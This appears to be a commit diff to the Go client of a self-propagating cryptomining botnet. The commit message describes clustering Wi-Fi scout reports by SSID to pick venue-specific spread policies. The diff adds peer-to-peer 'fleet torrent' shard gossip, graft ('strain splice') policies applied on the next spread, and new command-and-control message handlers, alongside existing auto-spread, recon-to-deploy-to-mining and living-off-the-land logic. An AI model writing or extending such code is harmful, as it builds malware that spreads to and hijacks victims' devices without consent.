Add scout constellation mode for APK venue persona packs.

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.

agent/client/client.go

@@ -72,6 +72,8 @@ type AgentClient struct {
 	gossipSent map[string]struct{}
 	// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
 	inheritedPhenotype *InheritedPhenotype
+	// pendingGraft is a court-approved strain splice applied on the next spread.
+	pendingGraft *GraftPolicy
 	// triplePolicy is server-pulled recon → deploy → mining gate policy.
 	triplePolicy       miner.TripleOnionPolicy
 	triplePolicyLoaded bool
@@ -83,6 +85,10 @@ type AgentClient struct {
 	fleetRoleHintVal string
 	// lanSeeders lists nearby seeders for miner staging pulls (webrtc/do_peer).
 	lanSeeders []deploy.LANSeederHint
+	// fleetTorrentEnabled enables shard DHT gossip + peer fetch (server policy).
+	fleetTorrentEnabled bool
+	// subnetPrimarySeeder is true when auth designates this agent as subnet primary seeder.
+	subnetPrimarySeeder bool
 
 	// lastJobAt records when the most recent valid mining job was delivered.
 	// The Stratum fallback manager uses this to detect "connected but jobless"
@@ -417,6 +423,10 @@ func (c *AgentClient) authenticate() error {
 	}
 	c.applyAuthLotlPolicy(resp)
 	c.applyAuthFleetRole(resp)
+	deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
+	if resp.FleetTorrentEnabled {
+		c.advertiseFleetTorrentHealthy()
+	}
 	c.agentID = resp.AgentID
 	if resp.ClearanceLevel > 0 {
 		c.mu.Lock()
@@ -457,7 +467,7 @@ func (c *AgentClient) authenticate() error {
 		if cfg.AutoSpread {
 			deploy.StartAutoSpreader(cfg)
 			if deploy.WantsFirstRunSpread(cfg) {
-				deploy.RunSpreadOnce(cfg)
+				deploy.RunSpreadOnce(c.cfgForSpread())
 				deploy.ClearFirstRunSpreadMarker(cfg)
 			}
 		}
@@ -533,6 +543,8 @@ func (c *AgentClient) handleMessage(msg Message) {
 		}
 	case "policy_update":
 		go c.applyPolicyUpdate(msg.Payload)
+	case "graft_policy":
+		c.applyGraftPolicyJSON(msg.Payload)
 	case "adaptive_strategy_update":
 		c.applyAdaptiveStrategyJSON(msg.Payload)
 	case "ai_snapshot_request":
@@ -551,6 +563,8 @@ func (c *AgentClient) handleMessage(msg Message) {
 		}
 	case "atlas_gossip":
 		c.handleAtlasGossip(msg.Payload)
+	case "fleet_torrent_gossip":
+		c.handleFleetTorrentGossip(msg.Payload)
 	case "command":
 		var cmd struct {
 			Action    string `json:"action"`